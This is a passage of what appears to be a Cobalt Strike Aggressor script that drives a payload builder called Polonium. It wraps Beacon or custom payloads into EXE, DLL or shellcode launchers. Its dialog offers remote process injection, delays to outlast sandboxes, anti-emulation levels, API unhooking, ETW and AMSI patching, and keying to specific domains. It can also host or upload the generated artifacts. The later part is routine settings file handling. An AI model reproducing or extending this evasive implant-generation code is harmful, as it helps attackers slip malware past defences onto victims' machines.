        show_error("You can either specify injection target (-i) or spawn target (-j), cannot do both!");
        return;
    }

    if(strlen(%options["injecttarget"]) > 0) {
        $params = safeAppend(%options["params"], $params, " -i " . %options["injecttarget"]);
    }

    if(strlen(%options["spawntarget"]) > 0) {
        if(%options["spawntarget"] hasmatch ' ') {
            $params = safeAppend(%options["params"], $params, " -j '" . %options["spawntarget"] . "'");
        }
        else {
            $params = safeAppend(%options["params"], $params, " -j " . %options["spawntarget"]);
        }
    }

    if(strlen(%options["logfile"]) > 0) {
        $params = safeAppend(%options["params"], $params, " -l " . %options["logfile"]);
    }

    if(strlen(%options["delay"]) > 0) {
        $params = safeAppend(%options["params"], $params, " -d " . %options["delay"]);
    }

    if(%options["ev_all"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -a");
    }
    else {
        if(%options["ev_blockdlls"] eq "true") {
            $params = safeAppend(%options["params"], $params, " -b");
        }

        if(%options["ev_antisplicing"] eq "true") {
            $params = safeAppend(%options["params"], $params, " -r");
        }
    }

    if(%options["ev_patching"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -g");
    }

    if(%options["nocmdline"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -Z");
    }
    
    if(strlen(%options["page_protection"]) > 0) {
        if(%options["page_protection"] eq "PAGE_EXECUTE") {
        }
        else if(%options["page_protection"] eq "PAGE_EXECUTE_READWRITE") {
            $params = safeAppend(%options["params"], $params, " -P PAGE_EXECUTE_READWRITE");
        }
    }

    if(strlen(%options["output_mode"]) > 0) {
        if(%options["output_mode"] eq "quiet") {
            $params = safeAppend(%options["params"], $params, " -q");
        }
        else if(%options["output_mode"] eq "verbose") {
            $params = safeAppend(%options["params"], $params, " -v");
        }
        else if(%options["output_mode"] eq "normal") {
        }
    }

    if(strlen(%options["antiemulation"]) > 0) {
        if(left(%options["antiemulation"], 1) eq "0") {
        }
        else if(left(%options["antiemulation"], 1) eq "1") {
            $params = safeAppend(%options["params"], $params, " -x");
        }
        else if(left(%options["antiemulation"], 1) eq "2") {
            $params = safeAppend(%options["params"], $params, " -x -x");
        }
        else if(left(%options["antiemulation"], 1) eq "3") {
            $params = safeAppend(%options["params"], $params, " -x -x -x");
        }
    }

    if(%options["fallback"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -F");
    }

    if(strlen(%options["env_domain"]) > 0) {
        $params = safeAppend(%options["params"], $params, " -K domain," . %options["env_domain"]);
    }

    if(%options["env_internet"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -K internet");
    }

    if(%options["env_domainjoined"] eq "true") {
        $params = safeAppend(%options["params"], $params, " -K domainjoined");
    }

    if(($strategyNum <= 1) && (indexOf($params, " -i "))) {
        show_error("Selected injection strategy ( $+ $strategyNum $+ ) is only for Self-injection.\nTherefore specifying target process where to inject to will not work (-i).");
        return;
    }
    else if(($strategyNum >= 10) && (indexOf($params, " -i ") is $null)) {
        show_error("Selected injection strategy ( $+ $strategyNum $+ ) is only for Remote process injection.\nHowever, no target remote process (-i) where to inject to was specified.");
        return;
    }

    $arch = %options["arch"];
    $format = %options["format"];
    $compress = $DEFAULT_SHELLCODE_COMPRESSION;
    $name = "polon- $+ $arch $+ .";

    if(%options["generate_what"] eq "beacon") {
        $name = "polon-" . %options["listener"] . "- $+ $arch $+ .";
    }
    else if (%options["generate_what"] eq "custom") {
        $n = getFileName(%options["custom_payload"]);
        $n = substr($n, 0, lindexOf($n, "."));
        $name = "polon-" . $n . "- $+ $arch $+ .";
    }

    $name = replace($name, "-" . $arch . "-" . $arch, "-" . $arch);

    if(($format eq "dll") || ($format ismatch 'shellcode .+')) {
        if($arch eq "x64") {
            $template = $poloniumTemplateDllFile64;
        } else {
            $template = $poloniumTemplateDllFile86;
        }
        $name .= "dll";

        if($format eq "dll") {
            $name2 = $name;
        }
        else {
            $name2 = replace($name, ".dll", ".bin");
        }
    }
    else {
        if($arch eq "x64") {
            $template = $poloniumTemplateExeFile64;
        } else {
            $template = $poloniumTemplateExeFile86;
        }

        $name .= "exe";
        $name2 = $name;
    }

    $payloadpath = replace($tempPayloadPath, "##NUM##", rand(9999));
    $removePayloadFile = 0;

    if(%options["generate_what"] eq "beacon") {
        $payload = artifact_payload(%options["listener"], "raw", $arch);
        write_payload($payloadpath, $payload);
        $removePayloadFile = 1;
    }
    else if(%options["generate_what"] eq "custom") {
        $payloadpath = %options["custom_payload"];
    }
    else {
        show_error("Listener or custom payload path not selected (" . %options["generate_what"] . ")!");
        return;
    }

    if(verifyPayload($payloadpath) == 1) {
        return;
    }

    if(strlen(%options["embed_mode"]) > 0) {
        if(%options["embed_mode"] eq "PE Section") {
            $embed_mode = "section";
            $params .= " -f b";
        }
        else if(%options["embed_mode"] eq "Overlay") {
            $embed_mode = "overlay";
            $params .= " -f a";
        }
    }

    foreach $key (keys(%options)) {
        %polon::defaults[$key] = %options[$key];
    }
    putOptions();

    prompt_file_save($name2, lambda({
        $outpolon = $1;
        $showName = $1;

        if('*.bin' iswm $showName) {
            $outpolon = replace($outpolon, ".bin", ".dll");
        }

        $r = generate_polon($payloadpath, $embed_mode, $template, $outpolon, $arch, $params, $format, $compress);

        if($r == 0) {
            if($button eq "Generate and Host") {
                prompt_text("Payload variant generated to path below. Do you want to open File Host dialog?", $showName, lambda({
                    openHostFileDialog();
                }));
            }
            else if($button eq "Generate and Upload") {
                uploadPolon($showName);
            }
            else {
                show_message("Payload variant generated and saved to:\n\n" . $showName);
            }
        }

        if($removePayloadFile == 1) {
            deleteFile($payloadpath);
        }

    }, $button => $button, $arch => $arch, $params => $params, $format => $format, $name => $name, $template => $template, $payloadpath => $payloadpath, $removePayloadFile => $removePayloadFile, $embed_mode => $embed_mode, $compress => $compress));
}

sub generate_raw {
    local('$name $arch $button $template $outpolon $payload $payloadpath %options');
    $button = $2;
    %options = $3;

    # if(strlen(%options["outpath"]) == 0) {
        # show_error("You must specify a Cobaltstrike local filesystem path where to store # generated file!");
        # return;
    # }

    $arch = %polon::defaults["arch"];
    $name = "polon-payload-" . %polon::defaults["listener"] . "- $+ $arch $+ .bin";

    $payloadpath = replace($tempPayloadPath, "##NUM##", rand(9999));
    $payload = artifact_payload(%options["listener"], "raw", $arch);

    write_payload($payloadpath, $payload);

    if(verifyPayload($payloadpath) == 1) {
        return;
    }

    prompt_file_save($name, lambda({
        $outpolon = $1;
        generate_polon($payloadpath, "raw", "", $outpolon, $arch, "");

        if($button eq "Generate and Host file") {
            prompt_text("Payload variant generated to path below. Do you want to open File Host dialog?", $outpolon, lambda({
                openHostFileDialog();
            }));
        }
        else {
            show_message("Payload variant generated and saved to:\n\n" . $outpolon);
        }

        deleteFile($payloadpath);
    }, $button => $button, $arch => $arch, $name => $name, $payloadpath => $payloadpath));
}

sub check_paths {
    local('$err');

    if( strlen($python) == 0) {
        $err .= "\n\nScript's global variable \"python\" not set.\nPlease set \"polon.path.python\" option in an external configuration file before generating Polonium payload.";
    }

    if( strlen($poloniumApplyScriptPath) == 0) {
        $err .= "\n\nScript's global variable \"poloniumApplyScriptPath\" not set.\nPlease set \"polon.path.script\" option in an external configuration file before generating Polonium payload.";
    }
    else if(!-exists $poloniumApplyScriptPath) {
        $err .= "\n\nFile pointed by \"poloniumApplyScriptPath\" does not exist.";
    }

    if( strlen($poloniumTemplateExeFile64) == 0) {
        $err .= "\n\nScript's global variable \"poloniumTemplateExeFile64\" not set.\nPlease set \"polon.path.template.exe.x64\" option first in an external configuration file before generating Polonium payload.";
    }
    else if(!-exists $poloniumTemplateExeFile64) {
        $err .= "\n\nFile pointed by \"poloniumTemplateExeFile64\" does not exist.";
    }

    if( strlen($poloniumTemplateDllFile64) == 0) {
        $err .= "\n\nScript's global variable \"poloniumTemplateDllFile64\" not set.\nPlease set \"polon.path.template.dll.x64\" option first in an external configuration file before generating Polonium payload.";
    }
    else if(!-exists $poloniumTemplateDllFile64) {
        $err .= "\n\nFile pointed by \"poloniumTemplateDllFile64\" does not exist.";
    }

    if( strlen($poloniumTemplateExeFile86) == 0) {
        $err .= "\n\nScript's global variable \"poloniumTemplateExeFile86\" not set.\nPlease set \"polon.path.template.exe.x86\" option first in an external configuration file before generating Polonium payload.";
    }
    else if(!-exists $poloniumTemplateExeFile86) {
        $err .= "\n\nFile pointed by \"poloniumTemplateExeFile86\" does not exist.";
    }

    if( strlen($poloniumTemplateDllFile86) == 0) {
        $err .= "\n\nScript's global variable \"poloniumTemplateDllFile86\" not set.\nPlease set \"polon.path.template.dll.x86\" option first in an external configuration file before generating Polonium payload.";
    }
    else if(!-exists $poloniumTemplateDllFile86) {
        $err .= "\n\nFile pointed by \"poloniumTemplateDllFile86\" does not exist.";
    }

    if(strlen($err) > 0) {
        show_error($err);
        return 0;
    }

    return 1;
}

sub polon_overlay {
    local('$dialog $pickListener %defaults');

    if(check_paths() == 0) {
        return;
    }

    $pickListener = $1;
    %defaults = copy(%polon::defaults);
    %defaults["generate_what"] = "beacon";

    if($pickListener == false) {
        %defaults["generate_what"] = "custom";        
    }

    $dialog = dialog("Generate Polonium launcher $POLONIUM_VERSION", %defaults, &generate);
    
    dialog_description($dialog, "Generates Polonium launcher $POLONIUM_VERSION with the selected listener's payload stored in overlay and dumps it to specified output directory. Overlapping parameters given in \"Additional Parameters\" text field will override ones choosen in this dialog.");

    if($pickListener) {
        drow_listener_stage($dialog, "listener", "Listener: ");  
    }
    else {
        #drow_text($dialog, "custom_payload", "Path to the locally stored (on a local Cobaltstrike's filesystem) payload file to embed:");
        drow_file($dialog, "custom_payload", "Path to the locally stored (on a local Cobaltstrike's filesystem) payload file to embed:");
    }

    drow_text($dialog, "killdate", "Kill date. Do not run if past this date. [YYYY-MM-DD]");
    drow_combobox($dialog, "arch", "Architecture: ", @("x64", "x86"));
    drow_combobox($dialog, "format", "Output format: ", @(
            "exe", 
            "dll", 
            "shellcode (sRDI python)", 
            #"shellcode (Donut.exe)",   # NOT SUPPORTED as Donut truncates PE headers
            #"shellcode (pe2shc.exe)",  # NOT SUPPORTED because dunno why it doesn't work
        ));

    drow_checkbox($dialog, "nocmdline", "Ignore parameters passed from command line:", "Enable");
    drow_combobox($dialog, "output_mode", "Print output messages: ", @("quiet", "normal", "verbose"));
    drow_text($dialog, "logfile", "Redirect Polon output to log file (leave empty for stdout, works unless \"quiet\" is set): ");
    drow_combobox($dialog, "embed_mode", "How to embed Beacon into Polonium (PE section preferred): ", @("PE Section", "Overlay"));

    drow_combobox($dialog, "strategy", "Self/Remote Injection strategy: ", @strategies);
    drow_text($dialog, "injecttarget", "INJECTION target process name/PID (leave empty to act as a loader, \"auto\" for smart pick): ");
    drow_text($dialog, "spawntarget", "SPAWN a new process with a given name and inject into it (as opposed to injecting into a live one above): ");
    drow_combobox($dialog, "page_protection", "INJECTION: Injected payload page protection flags (RWX is more stable but noisy): ", @("PAGE_EXECUTE_READ", "PAGE_EXECUTE_READWRITE"));
    drow_checkbox($dialog, "fallback", "INJECTION: Invoke fallback strategy and try to rescue failed injection attempt (highly effective with \"auto\"): ", "Use Fallback plan");

    drow_text($dialog, "delay", "DELAY: Given in seconds. Aims to timeout AVs/emulators/sandboxes (use 'a','b','c' for special kinds of delays): ");

    drow_combobox($dialog, "antiemulation", "Enable anti-emulation logic (caution! May prevent execution in legit machines): ", @("0. No Anti-emulation", "1. Basic", "2. Moderate", "3. Paranoid"));

    drow_checkbox($dialog, "ev_antisplicing", "EVASION: Try to unhook used API imports using anti-splicing: ", "Enable");
    drow_checkbox($dialog, "ev_blockdlls", "EVASION: Blockdlls in the same fashion as Cobalt does: ", "Enable");
    drow_checkbox($dialog, "ev_patching", "EVASION: Apply ETW and AMSI in-memory patches (caution!): ", "Enable");
    drow_checkbox($dialog, "ev_all", "EVASION: Enable all evasions (caution with that!): ", "Enable");

    drow_checkbox($dialog, "env_domainjoined", "ENVIRONMENTAL KEYING: Check if domain-joined: ", "Enable");
    drow_checkbox($dialog, "env_internet", "ENVIRONMENTAL KEYING: Run only in network-connected machines: ", "Enable");
    drow_text($dialog, "env_domain", "Run only if joined to these domains (case-ins, FQDN, comma-sep, wildcards */?, empty for no check): ");

    drow_text($dialog, "params", "Additional Polonium parameters: ");

    dbutton_action($dialog, "Generate");
    dbutton_action($dialog, "Generate and Host");
    dbutton_action($dialog, "Generate and Upload");
    dbutton_action($dialog, "Help");
    dbutton_action($dialog, "Full usage");

    dialog_show($dialog);
}

sub polon_raw {
    local('$dialog');

    if(check_paths() == 0) {
        return;
    }

    $dialog = dialog("Generate Polonium launcher $POLONIUM_VERSION", %polon::defaults, &generate_raw);
    
    dialog_description($dialog, "Generates encoded payload containing selected listener's bytes for Polonium to load.");

    drow_listener_stage($dialog, "listener", "Listener: ");
    drow_combobox($dialog, "arch", "Architecture (currently only x64 supported): ", @("x64"));

    dbutton_action($dialog, "Generate");
    dbutton_action($dialog, "Generate and Host file");
    dialog_show($dialog);
}

sub get_domain {
    local('$beacon $index $note');
    if (strlen(%polon::defaults["env_domain"]) == 0) {
        foreach $beacon (beacons()) {
            $note = binfo($beacon['id'], "note");

            $index = find($note, 'domain: [\w-\.]+');
            if ($index) {
                $domainName = matches($note, 'domain: ([\w-\.]+)')[0];
                %polon::defaults["env_domain"] = $domainName;
                break;
            }
        }
    }
}

popup attacks 
{
    menu "Polonium..." {
        item "Embed Beacon into Polonium" 
        {
            get_domain();
            polon_overlay(true);
        }

        item "Embed Custom payload into Polonium" 
        {
            get_domain();
            polon_overlay(false);
        }

        item "Encode Raw Beacon to Polonium's embedded format"
        {
            polon_raw();
        }
    }
}

#
# ==============================================================================================
#

#
# saveOptions(
#   $filename, 
#   %dictWithOptions, 
#   [optional]"save.these.options.with.prefix.in.name")
#
sub saveOptions {
    local('$handle $i $newl $updated @savedkeys $append @output @contents $optionsPrefix $fileName %options $p $k $key $val %fetchedOptions');
    $fileName = $1;
    %options = $2;
    $optionsPrefix = $3;

    @output = @();
    @contents = @();

    if(-exists $fileName) {
        if(!-canread $fileName) {
            show_error("Cannot read settings file: $fileName");
            return;
        }

        $handle = openf($fileName);
        if($handle) {
            while $line (readln($handle)) {
                $line = ["$line" trim];
                push(@contents, $line);
            }
            closef($handle);
        }
    }

    if(!-canwrite $fileName) {
        show_error("Cannot write to settings file: $fileName");
        return;
    }

    $handle = openf(">" . $fileName);
    if($handle is $null) {
        show_error("Could not save options: Unable to open/create file.");
        return;
    }

    @savedkeys = @();
    $updated = 0;

    if(size(@contents) > 0) {
        for($i = 0; $i < size(@contents); $i++) {
            if(strlen(@contents[$i]) < 2) {
                push(@output, @contents[$i]);
                continue;
            }
            else if('#*' iswm @contents[$i]) {
                push(@output, @contents[$i]);
                continue;
            }

            if(@contents[$i] ismatch '([^=]+)\s*=\s*(.+)') {
                ($key, $oldval) = matched();
                $key = ["$key" trim];
                $oldval = ["$oldval" trim];

                foreach $key2 (keys(%options)) {
                    $k = $optionsPrefix . $key2;

                    if($key eq $k) {
                        $val = %options[$key2];
                        $val = ["$val" trim];

                        $newl = substr(@contents[$i], 0, indexOf(@contents[$i], $oldval));

                        if(strlen($val) == 0) {
                            $newl .= "\"\"";
                        }
                        else if(indexOf($val, ' ')) {
                            $newl .= "\" $+ $val $+ \"";
                        }
                        else {
                            $newl .= $val;
                        }

                        push(@output, $newl);
                        push(@savedkeys, $key2);
                        $updated = 1;
                    }
                }
            }

            if($updated == 0) {
                push(@output, @contents[$i]);
            }
        }

        foreach $key (keys(%options)) {
            if($key in @savedkeys) {
                continue;
            }

            $k = $optionsPrefix . $key;
            $val = %options[$key];
            $val = ["$val" trim];

            $newl = "$k = ";

            if(strlen($val) == 0) {
                $newl .= "\"\"";
            }
            else if(indexOf($val, ' ')) {
                $newl .= "\" $+ $val $+ \"";
            }
            else {
                $newl .= $val;
            }

            push(@output, $newl);
        }
    }
    else {
        foreach $key (keys(%options)) {
            $k = $optionsPrefix . $key;
            $val = %options[$key];
            $val = ["$val" trim];

            if(strlen($val) == 0) {
                push(@output, "$k = \"\"");
            }
            else if(indexOf($val, ' ')) {
                push(@output, "$k = \" $+ $val $+ \"");
            }
            else {
                push(@output, "$k = $val");
            }
        }
    }

    printAll($handle, @output);
    closef($handle);
}

#
# %fetchedOptionsDict = loadOptions(
#   $filename, 
#   [optional]"load.only.options.with.prefix.in.name"
# )
#
sub loadOptions {
    local('$handle @lines $fileName $p $key $loadPrefix $val %fetchedOptions');
    $fileName = $1;
    $loadPrefix = $2;
    %fetchedOptions = %();

    if(!-exists $fileName) {
        #show_error("No saved settings file ( $+ $fileName $+ )!");

        # create a new, empty file.
        try
        {
            $handle = openf(">" . $fileName);
            closef($handle);
        } catch $m {
        }
        return $null;
    }

    if(!-canread $fileName) {
        show_error("Cannot read settings file: $fileName");
        return $null;
    }

    $handle = openf($fileName);
    while $line (readln($handle)) {
        push(@lines, ["$line" trim]);
    }

    closef($handle);
 
    for($lineNum = 0; $lineNum < size(@lines); $lineNum++) {
        $line = @lines[$lineNum];

        if(strlen($line) <= 2) {
            continue;
        }
        else if('#*' iswm $line) {
            continue;
        }

        $p = indexOf($line, '=');
        if ($p) {

            $key = substr($line, 0, $p);
            $key = ["$key" trim];

            $val = substr($line, $p + 1);
            $val = ["$val" trim];

            if(strlen($key) == 0) {
                show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nLine does not conform 'key = value' form, as there is no key:\n\n $line");
                return $null;
            }

            if(right($val, 1) eq ";") {
                $val = substr($val, 0, -1);
            }

            if(left($val, 1) eq '"') {
                if(right($val, 1) eq '"') {
                    $val = substr($val, 1, -1);
                }
                else {
                    show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nUnclosed quote mark on line:\n\n $line");
                    return $null;
                }
            }

            if($loadPrefix && strlen($loadPrefix) > 0) {
                if(indexOf($key, $loadPrefix) != 0) {
                    continue;
                }
            }

            if($key && strlen($key) > 0) {
                %fetchedOptions[$key] = $val;
            }
            else {
                %fetchedOptions[$key] = "";
            }
        }
        else {
            show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nNo 'key = value' assignment in line:\n\n $line");
            return $null;
        }
    }

    return %fetchedOptions;
}

#
# ==============================================================================================
#

sub getOptions {
    local('%opts $pos @optsKeys');

    %opts = loadOptions($savedSettingsFile);
    @optsKeys = keys(%opts);
    if(size(@optsKeys) > 0) {
        $pos = strlen("polon.defaults.");
        foreach $key (keys(%opts)) {
            if("polon.defaults.*" iswm $key) {
                $k = substr($key, $pos);
                %polon::defaults[$k] = %opts[$key];
            }
        }
    }

    if("polon.path.python" in @optsKeys) {
        $python = %opts["polon.path.python"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.python\" option!");
        return;
    }

    if("polon.path.script" in @optsKeys) {    
        $poloniumApplyScriptPath = %opts["polon.path.script"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.script\" option!");
        return;
    }

    if("polon.path.template.exe.x64" in @optsKeys) {    
        $poloniumTemplateExeFile64 = %opts["polon.path.template.exe.x64"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.template.exe.x64\" option!");
        return;
    }

    if("polon.path.template.dll.x64" in @optsKeys) {    
        $poloniumTemplateDllFile64 = %opts["polon.path.template.dll.x64"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.template.dll.x64\" option!");
        return;
    }

    if("polon.path.template.exe.x86" in @optsKeys) {    
        $poloniumTemplateExeFile86 = %opts["polon.path.template.exe.x86"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.template.exe.x86\" option!");
        return;
    }

    if("polon.path.template.dll.x86" in @optsKeys) {    
        $poloniumTemplateDllFile86 = %opts["polon.path.template.dll.x86"];
    }
    else {
        show_error("Settings file did not contain \"polon.path.template.dll.x86\" option!");
        return;
    }

    if("polon.path.default.output.dir" in @optsKeys) {    
        $defaultPoloniumOutputPath = %opts["polon.path.default.output.dir"];
        if(strlen($defaultPoloniumOutputPath) == 0)
        {
            $defaultPoloniumOutputPath = script_resource(".");
        }
        $tempPayloadPath = getFileProper($defaultPoloniumOutputPath, ".payload.##NUM##.bin");
    }
    else {
        show_error("Settings file did not contain \"polon.path.default.output.dir\" option!");
        return;
    }

    if(listener_info(%polon::defaults["listener"]) is $null) {
        %polon::defaults["listener"] = "";
    }

    println("[Polon payload generator] Options loaded.");
}

sub putOptions {
    local('%opts');

    %opts = ohash();
    %opts["python"] = $python;
    %opts["script"] = $poloniumApplyScriptPath;
    %opts["default.output.dir"] = $defaultPoloniumOutputPath;
    %opts["template.exe.x64"] = $poloniumTemplateExeFile64;
    %opts["template.dll.x64"] = $poloniumTemplateDllFile64;
    %opts["template.exe.x86"] = $poloniumTemplateExeFile86;
    %opts["template.dll.x86"] = $poloniumTemplateDllFile86;

    saveOptions($savedSettingsFile, %opts, "polon.path.");
    saveOptions($savedSettingsFile, %polon::defaults, "polon.defaults.");

    println("[Polon payload generator] Options saved.");
}

getOptions();
